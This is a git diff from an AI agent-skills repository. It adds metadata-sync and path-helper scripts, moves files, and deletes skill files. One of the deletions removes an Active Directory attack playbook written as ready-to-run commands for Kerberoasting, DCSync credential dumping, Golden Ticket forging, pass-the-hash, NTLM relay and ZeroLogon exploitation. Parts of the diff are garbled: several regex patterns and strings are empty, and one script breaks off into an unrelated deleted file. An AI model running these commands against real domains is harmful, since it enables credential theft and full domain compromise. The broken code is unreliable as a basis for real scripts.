+++ b/scripts/sync_repo_metadata.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+import argparse
+import json
+import os
+import re
+import sys
+
+from update_readme import configure_utf8_output, find_repo_root, load_metadata, update_readme
+
+
+ABOUT_DESCRIPTION_RE = re.compile(r'"description"\s*:\s*"([^"]*)"')
+
+
+def update_package_description(base_dir: str, metadata: dict, dry_run: bool) -> bool:
+ package_path = os.path.join(base_dir, "package.json")
+ with open(package_path, "r", encoding="utf-8") as file:
+ content = file.read()
+
+ new_description = (
+ f"{metadata['total_skills_label']} agentic skills for Claude Code, Gemini CLI, "
+ "Cursor, Antigravity & more. Installer CLI."
+ )
+ updated_content = ABOUT_DESCRIPTION_RE.sub(
+ f'"description": "{new_description}"', content, count=1
+ )
+
+ if updated_content == content:
+ return False
+
+ if dry_run:
+ print(f"[dry-run] Would update package description in {package_path}")
+ return True
+
+ with open(package_path, "w", encoding="utf-8", newline="\n") as file:
+ file.write(updated_content)
+ print(f"✅ Updated package description in {package_path}")
+ return True
+
+
+def print_manual_github_about(metadata: dict) -> None:
+ description = (
+ f"{metadata['total_skills_label']} curated SKILL.md files for Claude Code, "
+ "Cursor, Gemini CLI, Codex, Copilot, and Antigravity."
+ )
+ print("\nManual GitHub repo settings update:")
+ print(f"- About description: {description}")
+ print("- Suggested topics: claude-code, cursor, gemini-cli, codex-cli, github-copilot, antigravity")
+
+
+def parse_args() -> argparse.Namespace:
+ parser = argparse.ArgumentParser(
+ description="Synchronize repository metadata across README and package.json."
+ )
+ parser.add_argument("--dry-run", action="store_true", help="Preview updates without writing files.")
+ return parser.parse_args()
+
+
+def main() -> int:
+ args = parse_args()
+ base_dir = find_repo_root(os.path.dirname(__file__))
+ metadata = load_metadata(base_dir)
+
+ print("Repository metadata")
+ print(json.dumps(metadata, indent=2))
+
+ readme_metadata = update_readme(dry_run=args.dry_run)
+ package_updated = update_package_description(base_dir, metadata, args.dry_run)
+ print_manual_github_about(readme_metadata)
+
+ if args.dry_run and not package_updated:
+ print("\n[dry-run] No package.json description changes required.")
+
+ return 0
+
+
+if __name__ == "__main__":
+ configure_utf8_output()
+ sys.exit(main())
diff --git a/scripts/update_readme.py b/scripts/update_readme.py
index 936ecd2a..0dbf3c20 100644
--- a/scripts/update_readme.py
+++ b/scripts/update_readme.py
@@ -1,9 +1,16 @@
#!/usr/bin/env python3
+import argparse
import io
import json
import os
import re
import sys
+import urllib.error
+import urllib.request
+from datetime import datetime, timezone
+
+GITHUB_REPO = "sickn33/antigravity-awesome-skills"
+SYNC_COMMENT_RE = re.compile(r"")
def configure_utf8_output() -> None:
@@ -28,63 +35,227 @@ def configure_utf8_output() -> None:
)
-def update_readme():
- base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+def find_repo_root(start_path: str) -> str:
+ current = os.path.abspath(start_path)
+ while True:
+ if os.path.isfile(os.path.join(current, "package.json")) and os.path.isfile(
+ os.path.join(current, "README.md")
+ ):
+ return current
+ parent = os.path.dirname(current)
+ if parent == current:
+ raise FileNotFoundError("Could not locate repository root from script path.")
+ current = parent
+
+
+def format_skill_count(total_skills: int) -> str:
+ return f"{total_skills:,}+"
+
+
+def format_star_badge_count(stars: int) -> str:
+ if stars >= 1000:
+ rounded = int(round(stars / 1000.0))
+ return f"{rounded}%2C000%2B"
+ return f"{stars}%2B"
+
+
+def format_star_milestone(stars: int) -> str:
+ if stars >= 1000:
+ rounded = int(round(stars / 1000.0))
+ return f"{rounded},000+"
+ return f"{stars}+"
+
+
+def format_star_celebration(stars: int) -> str:
+ if stars >= 1000:
+ rounded = int(round(stars / 1000.0))
+ return f"{rounded}k"
+ return str(stars)
+
+
+def fetch_star_count(repo: str) -> int | None:
+ url = f"https://api.github.com/repos/{repo}"
+ request = urllib.request.Request(
+ url,
+ headers={
+ "Accept": "application/vnd.github+json",
+ "User-Agent": "antigravity-awesome-skills-readme-sync",
+ },
+ )
+ try:
+ with urllib.request.urlopen(request, timeout=10) as response:
+ payload = json.load(response)
+ except (urllib.error.URLError, TimeoutError, json.JSONDecodeError):
+ return None
+ stars = payload.get("stargazers_count")
+ return int(stars) if isinstance(stars, int) else None
+
+
+def load_metadata(base_dir: str, repo: str = GITHUB_REPO) -> dict:
readme_path = os.path.join(base_dir, "README.md")
+ package_path = os.path.join(base_dir, "package.json")
index_path = os.path.join(base_dir, "skills_index.json")
- print(f"📖 Reading skills index from: {index_path}")
- with open(index_path, "r", encoding="utf-8") as f:
- skills = json.load(f)
+ with open(index_path, "r", encoding="utf-8") as file:
+ skills = json.load(file)
- total_skills = len(skills)
- print(f"🔢 Total skills found: {total_skills}")
+ with open(package_path, "r", encoding="utf-8") as file:
+ package = json.load(file)
- print(f"📝 Updating README at: {readme_path}")
- with open(readme_path, "r", encoding="utf-8") as f:
- content = f.read()
+ with open(readme_path, "r", encoding="utf-8") as file:
+ current_readme = file.read()
- # 1. Update Title Count
- content = re.sub(
- r"(# 🌌 Antigravity Awesome Skills: )\d+(\+ Agentic Skills)",
- rf"\g<1>{total_skills}\g<2>",
- content,
+ current_star_match = re.search(r"⭐%20([\d%2C\+]+)%20Stars", current_readme)
+ current_stars = None
+ if current_star_match:
+ compact = current_star_match.group(1).replace("%2C", "").replace("%2B", "")
+ compact = compact.rstrip("+")
+ if compact.isdigit():
+ current_stars = int(compact)
+
+ live_stars = fetch_star_count(repo)
+ total_stars = live_stars if live_stars is not None else current_stars or 0
+
+ return {
+ "repo": repo,
+ "version": str(package.get("version", "0.0.0")),
+ "total_skills": len(skills),
+ "total_skills_label": format_skill_count(len(skills)),
+ "stars": total_stars,
+ "star_badge_count": format_star_badge_count(total_stars),
+ "star_milestone": format_star_milestone(total_stars),
+ "star_celebration": format_star_celebration(total_stars),
+ "updated_at": datetime.now(timezone.utc).replace(microsecond=0).isoformat(),
+ "used_live_star_count": live_stars is not None,
+ }
+
+
+def apply_metadata(content: str, metadata: dict) -> str:
+ total_skills = metadata["total_skills"]
+ total_skills_label = metadata["total_skills_label"]
+ version = metadata["version"]
+ star_badge_count = metadata["star_badge_count"]
+ star_milestone = metadata["star_milestone"]
+ star_celebration = metadata["star_celebration"]
+ sync_comment = (
+ f""
)
- # 2. Update Blockquote Count
content = re.sub(
- r"(Collection of )\d+(\+ Universal)",
- rf"\g<1>{total_skills}\g<2>",
+ r"^# 🌌 Antigravity Awesome Skills: .*?$",
+ (
+ f"# 🌌 Antigravity Awesome Skills: {total_skills_label} "
+ "Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More"
+ ),
content,
+ count=1,
+ flags=re.MULTILINE,
)
-
- # 3. Update Intro Text Count
content = re.sub(
- r"(library of \*\*)\d+( high-performance agentic skills\*\*)",
- rf"\g<1>{total_skills}\g<2>",
+ r"^> \*\*The Ultimate Collection of .*?\*\*$",
+ (
+ f"> **The Ultimate Collection of {total_skills_label} Universal Agentic "
+ "Skills for AI Coding Assistants — Claude Code, Gemini CLI, Codex CLI, "
+ "Antigravity IDE, GitHub Copilot, Cursor, OpenCode, AdaL**"
+ ),
content,
+ count=1,
+ flags=re.MULTILINE,
)
-
- # 4. Update Browse section header
content = re.sub(
- r"## Browse \d+\+ Skills",
- f"## Browse {total_skills}+ Skills",
+ r"https://img\.shields\.io/badge/⭐%20[\d%2C\+]+%20Stars-gold\?style=for-the-badge",
+ f"https://img.shields.io/badge/⭐%20{star_badge_count}%20Stars-gold?style=for-the-badge",
content,
+ count=1,
)
-
- # 5. Update TOC link for Browse (anchor matches header-derived slug)
content = re.sub(
- r"\[📚 Browse \d+\+ Skills\]\(#browse-\d+-skills\)",
- f"[📚 Browse {total_skills}+ Skills](#browse-{total_skills}-skills)",
+ r"^\*\*Antigravity Awesome Skills\*\* is a curated, battle-tested library of \*\*.*?\*\* designed",
+ (
+ f"**Antigravity Awesome Skills** is a curated, battle-tested library of "
+ f"**{total_skills_label} high-performance agentic skills** designed"
+ ),
content,
+ count=1,
+ flags=re.MULTILINE,
)
+ content = re.sub(
+ r"\[📚 Browse \d[\d,]*\+ Skills\]\(#browse-[^)]+\)",
+ f"[📚 Browse {total_skills_label} Skills](#browse-{total_skills}-skills)",
+ content,
+ count=1,
+ )
+ content = re.sub(
+ r"\*\*Welcome to the V[\d.]+ .*? Stars Celebration Release!\*\*",
+ f"**Welcome to the V{version} {star_celebration} Stars Celebration Release!**",
+ content,
+ count=1,
+ )
+ content = re.sub(
+ r"> \*\*🌟 .*? GitHub Stars Milestone!\*\*",
+ f"> **🌟 {star_milestone} GitHub Stars Milestone!**",
+ content,
+ count=1,
+ )
+ content = re.sub(
+ r"\*\*Antigravity Awesome Skills\*\* \(Release [\d.]+\) is a massive upgrade to your AI's capabilities, now featuring \*\*.*?\*\* skills",
+ (
+ f"**Antigravity Awesome Skills** (Release {version}) is a massive upgrade "
+ f"to your AI's capabilities, now featuring **{total_skills_label} skills**"
+ ),
+ content,
+ count=1,
+ )
+ content = re.sub(
+ r"## Browse \d[\d,]*\+ Skills",
+ f"## Browse {total_skills_label} Skills",
+ content,
+ count=1,
+ )
+ content = re.sub(
+ r"\n?",
+ "",
+ content,
+ count=1,
+ )
+ return f"{sync_comment}\n{content.lstrip()}"
- with open(readme_path, "w", encoding="utf-8", newline="\n") as f:
- f.write(content)
+
+def update_readme(dry_run: bool = False) -> dict:
+ base_dir = find_repo_root(os.path.dirname(__file__))
+ readme_path = os.path.join(base_dir, "README.md")
+ metadata = load_metadata(base_dir)
+
+ print(f"📖 Reading README from: {readme_path}")
+ print(f"🔢 Total skills found: {metadata['total_skills']}")
+ print(f"🏷️ Version found: {metadata['version']}")
+ if metadata["used_live_star_count"]:
+ print(f"⭐ Live GitHub stars found: {metadata['stars']}")
+ else:
+ print(f"⭐ Using existing README star count: {metadata['stars']}")
+
+ with open(readme_path, "r", encoding="utf-8") as file:
+ content = file.read()
+
+ updated_content = apply_metadata(content, metadata)
+ if dry_run:
+ print("🧪 Dry run enabled; README.md not written.")
+ return metadata
+
+ with open(readme_path, "w", encoding="utf-8", newline="\n") as file:
+ file.write(updated_content)
print("✅ README.md updated successfully.")
+ return metadata
+
+
+def parse_args() -> argparse.Namespace:
+ parser = argparse.ArgumentParser(description="Sync generated metadata into README.md.")
+ parser.add_argument("--dry-run", action="store_true", help="Compute metadata without writing files.")
+ return parser.parse_args()
if __name__ == "__main__":
configure_utf8_output()
- update_readme()
+ args = parse_args()
+ update_readme(dry_run=args.dry_run)
diff --git a/skills/README.md b/skills/README.md
index e536163f..55566624 100644
--- a/skills/README.md
+++ b/skills/README.md
@@ -170,10 +170,10 @@ description: "What this skill does"
## Documentation
-- **[Getting Started](../docs/GETTING_STARTED.md)** - Quick start guide
-- **[Examples](../docs/EXAMPLES.md)** - Real-world usage examples
-- **[FAQ](../docs/FAQ.md)** - Common questions
-- **[Visual Guide](../docs/VISUAL_GUIDE.md)** - Diagrams and flowcharts
+- **[Getting Started](../docs/users/getting-started.md)** - Quick start guide
+- **[Examples](../docs/contributors/examples.md)** - Real-world usage examples
+- **[FAQ](../docs/users/faq.md)** - Common questions
+- **[Visual Guide](../docs/users/visual-guide.md)** - Diagrams and flowcharts
---
diff --git a/bin/install.js b/tools/bin/install.js
similarity index 98%
rename from bin/install.js
rename to tools/bin/install.js
index 1bd10fed..942cdccc 100755
--- a/bin/install.js
+++ b/tools/bin/install.js
@@ -271,7 +271,7 @@ function main() {
}
console.log(
- "\nPick a bundle in docs/BUNDLES.md and use @skill-name in your AI assistant.",
+ "\nPick a bundle in docs/users/bundles.md and use @skill-name in your AI assistant.",
);
} finally {
try {
diff --git a/tools/lib/project-root.js b/tools/lib/project-root.js
new file mode 100644
index 00000000..14f54c09
--- /dev/null
+++ b/tools/lib/project-root.js
@@ -0,0 +1,25 @@
+const fs = require("fs");
+const path = require("path");
+
+function findProjectRoot(startDir = __dirname) {
+ let current = path.resolve(startDir);
+
+ while (true) {
+ if (
+ fs.existsSync(path.join(current, "package.json")) &&
+ fs.existsSync(path.join(current, "README.md"))
+ ) {
+ return current;
+ }
+
+ const parent = path.dirname(current);
+ if (parent === current) {
+ throw new Error(`Could not locate project root from ${startDir}`);
+ }
+ current = parent;
+ }
+}
+
+module.exports = {
+ findProjectRoot,
+};
diff --git a/lib/skill-utils.js b/tools/lib/skill-utils.js
similarity index 100%
rename from lib/skill-utils.js
rename to tools/lib/skill-utils.js
diff --git a/tools/scripts/_project_paths.py b/tools/scripts/_project_paths.py
new file mode 100644
index 00000000..f336b3d4
--- /dev/null
+++ b/tools/scripts/_project_paths.py
@@ -0,0 +1,15 @@
+from __future__ import annotations
+
+from pathlib import Path
+
+
+def find_repo_root(start_path: str | Path) -> Path:
+ current = Path(start_path).resolve()
+ if current.is_file():
+ current = current.parent
+
+ for candidate in (current, *current.parents):
+ if (candidate / "package.json").is_file() and (candidate / "README.md").is_file():
+ return candidate
+
+ raise FileNotFoundError(f"Could not find repository root from {start_path!r}")
diff --git a/tools/scripts/analyze_voltagent_repo.py b/tools/scripts/analyze_voltagent_repo.py
new file mode 100644
index 00000000..3a332d72
--- /dev/null
+++ b/tools/scripts/analyze_voltagent_repo.py
@@ -0,0 +1,227 @@
+#!/usr/bin/env python3
+"""
+Analyze VoltAgent/awesome-agent-skills repository to extract and normalize skills.
+
+Usage:
+ python3 scripts/analyze_voltagent_repo.py [--output OUTPUT.json]
+"""
+
+import re
+import json
+import sys
+import urllib.request
+import urllib.error
+from pathlib import Path
+from typing import List, Dict, Optional
+from urllib.parse import urlparse
+
+# VoltAgent repo README URL
+VOLTAGENT_README_URL = "https://raw.githubusercontent.com/VoltAgent/awesome-agent-skills/main/README.md"
+
+def normalize_skill_name(name: str) -> str:
+ """Normalize skill name to kebab-case."""
+ # Remove organization prefix if present (e.g., "anthropics/docx" -> "docx")
+ if '/' in name:
+ name = name.split('/')[-1]
+
+ # Convert to lowercase and replace spaces/special chars with hyphens
+ name = re.sub(r'[^a-z0-9-]', '-', name.lower())
+ # Remove multiple consecutive hyphens
+ name = re.sub(r'-+', '-', name)
+ # Remove leading/trailing hyphens
+ name = name.strip('-')
+ return name
+
+def extract_skills_from_markdown(content: str) -> List[Dict[str, str]]:
+ """Extract skills from VoltAgent README markdown."""
+ skills = []
+
+ # Pattern to match: **org/skill-name** or **skill-name** followed by URL
+ # Format: - **[org/skill-name](url)** - Description
+ pattern = r'\*\*\[([^\]]+)\]\(([^\)]+)\)\*\*'
+
+ lines = content.split('\n')
+ current_category = None
+
+ for i, line in enumerate(lines):
+ # Track category sections
+ if line.startswith('## '):
+ current_category = line.replace('## ', '').strip()
+
+ # Match skill entries
+ matches = re.findall(pattern, line)
+ for skill_ref, url in matches:
+ # Extract description (text after the link)
+ description = line.split(')**', 1)[-1].strip()
+ if description.startswith('- '):
+ description = description[2:].strip()
+
+ # Normalize skill name
+ normalized_name = normalize_skill_name(skill_ref)
+
+ # Extract org if present
+ org = None
+ if '/' in skill_ref:
+ org, skill_part = skill_ref.split('/', 1)
+ else:
+ skill_part = skill_ref
+
+ skill_info = {
+ 'original_ref': skill_ref,
+ 'normalized_name': normalized_name,
+ 'org': org,
+ 'skill_part': skill_part,
+ 'url': url,
+ 'description': description,
+ 'category': current_category or 'uncategorized',
+ 'line_number': i + 1
+ }
+ skills.append(skill_info)
+
+ return skills
+
+def load_existing_skills(catalog_path: str) -> Dict[str, Dict]:
+ """Load existing skills from catalog.json."""
+ try:
+ with open(catalog_path, 'r', encoding='utf-8') as f:
+ catalog = json.load(f)
+
+ existing = {}
+ for skill in catalog.get('skills', []):
+ name = skill.get('name', '').lower()
+ normalized = normalize_skill_name(name)
+ existing[normalized] = skill
+
+ return existing
+ except FileNotFoundError:
+ print(f"⚠️ Catalog file not found: {catalog_path}")
+ return {}
+ except json.JSONDecodeError as e:
+ print(f"❌ Error parsing catalog.json: {e}")
+ return {}
+
+def fetch_readme(url: str) -> Optional[str]:
+ """Fetch README content from URL."""
+ try:
+ with urllib.request.urlopen(url, timeout=10) as response:
+ return response.read().decode('utf-8')
+ except urllib.error.URLError as e:
+ print(f"❌ Error fetching README: {e}")
+ return None
+ except Exception as e:
+ print(f"❌ Unexpected error: {e}")
+ return None
+
+def find_similar_skills(new_name: str, existing: Dict[str, Dict], threshold: float = 0.8) -> List[str]:
+ """Find similar skill names using simple string similarity."""
+ similar = []
+ new_lower = new_name.lower()
+
+ for existing_name, skill_data in existing.items():
+ existing_lower = existing_name.lower()
+
+ # Simple similarity check
+ if new_lower in existing_lower or existing_lower in new_lower:
+ similar.append(existing_name)
+ elif abs(len(new_lower) - len(existing_lower)) <= 2:
+ # Check character overlap
+ common_chars = set(new_lower) & set(existing_lower)
+ if len(common_chars) / max(len(set(new_lower)), len(set(existing_lower))) >= threshold:
+ similar.append(existing_name)
+
+ return similar
+
+def main():
+ base_dir = Path(__file__).parent.parent
+ catalog_path = base_dir / "data" / "catalog.json"
+ output_path = base_dir / "voltagent_analysis.json"
+
+ print("🔍 Analyzing VoltAgent/awesome-agent-skills repository...")
+ print(f"📖 Fetching README from: {VOLTAGENT_README_URL}")
+
+ # Fetch README
+ readme_content = fetch_readme(VOLTAGENT_README_URL)
+ if not readme_content:
+ print("❌ Failed to fetch README. Exiting.")
+ sys.exit(1)
+
+ print("✅ README fetched successfully")
+
+ # Extract skills
+ print("\n📋 Extracting skills from README...")
+ voltagent_skills = extract_skills_from_markdown(readme_content)
+ print(f"✅ Found {len(voltagent_skills)} skills in VoltAgent repo")
+
+ # Load existing skills
+ print(f"\n📚 Loading existing skills from: {catalog_path}")
+ existing_skills = load_existing_skills(str(catalog_path))
+ print(f"✅ Found {len(existing_skills)} existing skills")
+
+ # Compare and categorize
+ print("\n🔍 Comparing skills...")
+ new_skills = []
+ existing_matches = []
+ similar_skills = []
+
+ for skill in voltagent_skills:
+ normalized = skill['normalized_name']
+
+ if normalized in existing_skills:
+ existing_matches.append({
+ 'voltagent': skill,
+ 'existing': existing_skills[normalized]
+ })
+ else:
+ # Check for similar names
+ similar = find_similar_skills(normalized, existing_skills)
+ if similar:
+ similar_skills.append({
+ 'voltagent': skill,
+ 'similar': similar
+ })
+ else:
+ new_skills.append(skill)
+
+ # Generate report
+ report = {
+ 'analysis_date': str(Path(__file__).stat().st_mtime),
+ 'voltagent_readme_url': VOLTAGENT_README_URL,
+ 'summary': {
+ 'total_voltagent_skills': len(voltagent_skills),
+ 'total_existing_skills': len(existing_skills),
+ 'new_skills_found': len(new_skills),
+ 'existing_matches': len(existing_matches),
+ 'similar_skills': len(similar_skills)
+ },
+ 'new_skills': new_skills,
+ 'existing_matches': existing_matches,
+ 'similar_skills': similar_skills
+ }
+
+ # Save report
+ with open(output_path, 'w', encoding='utf-8') as f:
+ json.dump(report, f, indent=2, ensure_ascii=False)
+
+ print(f"\n📊 Analysis Summary:")
+ print(f" Total VoltAgent skills: {len(voltagent_skills)}")
+ print(f" Existing skills: {len(existing_skills)}")
+ print(f" ✨ New skills found: {len(new_skills)}")
+ print(f" ✅ Already present: {len(existing_matches)}")
+ print(f" ⚠️ Similar names: {len(similar_skills)}")
+ print(f"\n💾 Report saved to: {output_path}")
+
+ if new_skills:
+ print(f"\n📋 New skills to evaluate:")
+ for skill in new_skills[:20]: # Show first 20
+ print(f" • {skill['normalized_name']} ({skill['original_ref']})")
+ if len(new_skills) > 20:
+ print(f" ... and {len(new_skills) - 20} more")
+
+ if similar_skills:
+ print(f"\n⚠️ Skills with similar names (may be duplicates):")
+ for item in similar_skills[:10]: # Show first 10
+ skill = item['voltagent']
+ print(f" • {skill['normalized_name']} (similar to: {', '.join(item['similar'][:3])})")
+
+if __name__ == "__main__":
+ main()
diff --git a/scripts/auto_categorize_skills.py b/tools/scripts/auto_categorize_skills.py
similarity index 99%
rename from scripts/auto_categorize_skills.py
rename to tools/scripts/auto_categorize_skills.py
index c8f5cc25..6e4135d1 100644
--- a/scripts/auto_categorize_skills.py
+++ b/tools/scripts/auto_categorize_skills.py
@@ -13,6 +13,8 @@ import re
import json
import sys
import argparse
+import yaml
+from _project_paths import find_repo_root
# Ensure UTF-8 output for Windows compatibility
if sys.platform == 'win32':
@@ -128,8 +130,6 @@ def categorize_skill(skill_name, description):
return None
-import yaml
-
def auto_categorize(skills_dir, dry_run=False):
"""Auto-categorize skills and update SKILL.md files"""
skills = []
@@ -250,7 +250,7 @@ Examples:
args = parser.parse_args()
- base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+ base_dir = str(find_repo_root(__file__))
skills_path = os.path.join(base_dir, "skills")
auto_categorize(skills_path, dry_run=args.dry_run)
diff --git a/scripts/build-catalog.js b/tools/scripts/build-catalog.js
similarity index 99%
rename from scripts/build-catalog.js
rename to tools/scripts/build-catalog.js
index 426a7202..e6181385 100644
--- a/scripts/build-catalog.js
+++ b/tools/scripts/build-catalog.js
@@ -6,8 +6,9 @@ const {
tokenize,
unique,
} = require("../lib/skill-utils");
+const { findProjectRoot } = require("../lib/project-root");
-const ROOT = path.resolve(__dirname, "..");
+const ROOT = findProjectRoot(__dirname);
const SKILLS_DIR = path.join(ROOT, "skills");
const STOPWORDS = new Set([
diff --git a/tools/scripts/check_html_content.py b/tools/scripts/check_html_content.py
new file mode 100644
index 00000000..ca623aed
--- /dev/null
+++ b/tools/scripts/check_html_content.py
@@ -0,0 +1,152 @@
+#!/usr/bin/env python3
+"""Check for HTML content in skills and identify which need conversion."""
+
+import json
+import re
+from pathlib import Path
+
+def check_html_content(skill_path: Path) -> dict:
+ """Check if a skill file contains HTML content."""
+ try:
+ content = skill_path.read_text(encoding='utf-8')
+ except Exception as e:
+ return {'error': str(e), 'has_html': False}
+
+ # HTML patterns (excluding code blocks)
+ html_patterns = [
+ r'',
+ r'',
+ r'', '', html, flags=re.DOTALL | re.IGNORECASE)
+ html = re.sub(r'', '', html, flags=re.DOTALL | re.IGNORECASE)
+
+ # Headings
+ html = re.sub(r'
- `,
- )
- .join("")}
-
-`;
- }
-}
-```
-
-## Output Format
-
-1. **Accessibility Score**: Overall compliance with WCAG levels
-2. **Violation Report**: Detailed issues with severity and fixes
-3. **Test Results**: Automated and manual test outcomes
-4. **Remediation Guide**: Step-by-step fixes for each issue
-5. **Code Examples**: Accessible component implementations
-
-Focus on creating inclusive experiences that work for all users, regardless of their abilities or assistive technologies.
diff --git a/web-app/public/skills/active-directory-attacks/SKILL.md b/web-app/public/skills/active-directory-attacks/SKILL.md
deleted file mode 100644
index 12330c54..00000000
--- a/web-app/public/skills/active-directory-attacks/SKILL.md
+++ /dev/null
@@ -1,386 +0,0 @@
----
-name: active-directory-attacks
-description: "This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", ..."
-risk: unknown
-source: community
-date_added: "2026-02-27"
----
-
-# Active Directory Attacks
-
-## Purpose
-
-Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
-
-## Inputs/Prerequisites
-
-- Kali Linux or Windows attack platform
-- Domain user credentials (for most attacks)
-- Network access to Domain Controller
-- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
-
-## Outputs/Deliverables
-
-- Domain enumeration data
-- Extracted credentials and hashes
-- Kerberos tickets for impersonation
-- Domain Administrator access
-- Persistent access mechanisms
-
----
-
-## Essential Tools
-
-| Tool | Purpose |
-|------|---------|
-| BloodHound | AD attack path visualization |
-| Impacket | Python AD attack tools |
-| Mimikatz | Credential extraction |
-| Rubeus | Kerberos attacks |
-| CrackMapExec | Network exploitation |
-| PowerView | AD enumeration |
-| Responder | LLMNR/NBT-NS poisoning |
-
----
-
-## Core Workflow
-
-### Step 1: Kerberos Clock Sync
-
-Kerberos requires clock synchronization (±5 minutes):
-
-```bash
-# Detect clock skew
-nmap -sT 10.10.10.10 -p445 --script smb2-time
-
-# Fix clock on Linux
-sudo date -s "14 APR 2024 18:25:16"
-
-# Fix clock on Windows
-net time /domain /set
-
-# Fake clock without changing system time
-faketime -f '+8h'
-```
-
-### Step 2: AD Reconnaissance with BloodHound
-
-```bash
-# Start BloodHound
-neo4j console
-bloodhound --no-sandbox
-
-# Collect data with SharpHound
-.\SharpHound.exe -c All
-.\SharpHound.exe -c All --ldapusername user --ldappassword pass
-
-# Python collector (from Linux)
-bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
-```
-
-### Step 3: PowerView Enumeration
-
-```powershell
-# Get domain info
-Get-NetDomain
-Get-DomainSID
-Get-NetDomainController
-
-# Enumerate users
-Get-NetUser
-Get-NetUser -SamAccountName targetuser
-Get-UserProperty -Properties pwdlastset
-
-# Enumerate groups
-Get-NetGroupMember -GroupName "Domain Admins"
-Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
-
-# Find local admin access
-Find-LocalAdminAccess -Verbose
-
-# User hunting
-Invoke-UserHunter
-Invoke-UserHunter -Stealth
-```
-
----
-
-## Credential Attacks
-
-### Password Spraying
-
-```bash
-# Using kerbrute
-./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
-
-# Using CrackMapExec
-crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
-```
-
-### Kerberoasting
-
-Extract service account TGS tickets and crack offline:
-
-```bash
-# Impacket
-GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
-
-# Rubeus
-.\Rubeus.exe kerberoast /outfile:hashes.txt
-
-# CrackMapExec
-crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
-
-# Crack with hashcat
-hashcat -m 13100 hashes.txt rockyou.txt
-```
-
-### AS-REP Roasting
-
-Target accounts with "Do not require Kerberos preauthentication":
-
-```bash
-# Impacket
-GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
-
-# Rubeus
-.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
-
-# Crack with hashcat
-hashcat -m 18200 hashes.txt rockyou.txt
-```
-
-### DCSync Attack
-
-Extract credentials directly from DC (requires Replicating Directory Changes rights):
-
-```bash
-# Impacket
-secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
-
-# Mimikatz
-lsadump::dcsync /domain:domain.local /user:krbtgt
-lsadump::dcsync /domain:domain.local /user:Administrator
-```
-
----
-
-## Kerberos Ticket Attacks
-
-### Pass-the-Ticket (Golden Ticket)
-
-Forge TGT with krbtgt hash for any user:
-
-```powershell
-# Get krbtgt hash via DCSync first
-# Mimikatz - Create Golden Ticket
-kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
-
-# Impacket
-ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
-export KRB5CCNAME=Administrator.ccache
-psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
-```
-
-### Silver Ticket
-
-Forge TGS for specific service:
-
-```powershell
-# Mimikatz
-kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
-```
-
-### Pass-the-Hash
-
-```bash
-# Impacket
-psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
-wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
-smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
-
-# CrackMapExec
-crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
-crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
-```
-
-### OverPass-the-Hash
-
-Convert NTLM hash to Kerberos ticket:
-
-```bash
-# Impacket
-getTGT.py domain.local/user -hashes :NTHASH
-export KRB5CCNAME=user.ccache
-
-# Rubeus
-.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
-```
-
----
-
-## NTLM Relay Attacks
-
-### Responder + ntlmrelayx
-
-```bash
-# Start Responder (disable SMB/HTTP for relay)
-responder -I eth0 -wrf
-
-# Start relay
-ntlmrelayx.py -tf targets.txt -smb2support
-
-# LDAP relay for delegation attack
-ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
-```
-
-### SMB Signing Check
-
-```bash
-crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
-```
-
----
-
-## Certificate Services Attacks (AD CS)
-
-### ESC1 - Misconfigured Templates
-
-```bash
-# Find vulnerable templates
-certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
-
-# Exploit ESC1
-certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
-
-# Authenticate with certificate
-certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
-```
-
-### ESC8 - Web Enrollment Relay
-
-```bash
-ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
-```
-
----
-
-## Critical CVEs
-
-### ZeroLogon (CVE-2020-1472)
-
-```bash
-# Check vulnerability
-crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
-
-# Exploit
-python3 cve-2020-1472-exploit.py DC01 10.10.10.10
-
-# Extract hashes
-secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
-
-# Restore password (important!)
-python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
-```
-
-### PrintNightmare (CVE-2021-1675)
-
-```bash
-# Check for vulnerability
-rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
-
-# Exploit (requires hosting malicious DLL)
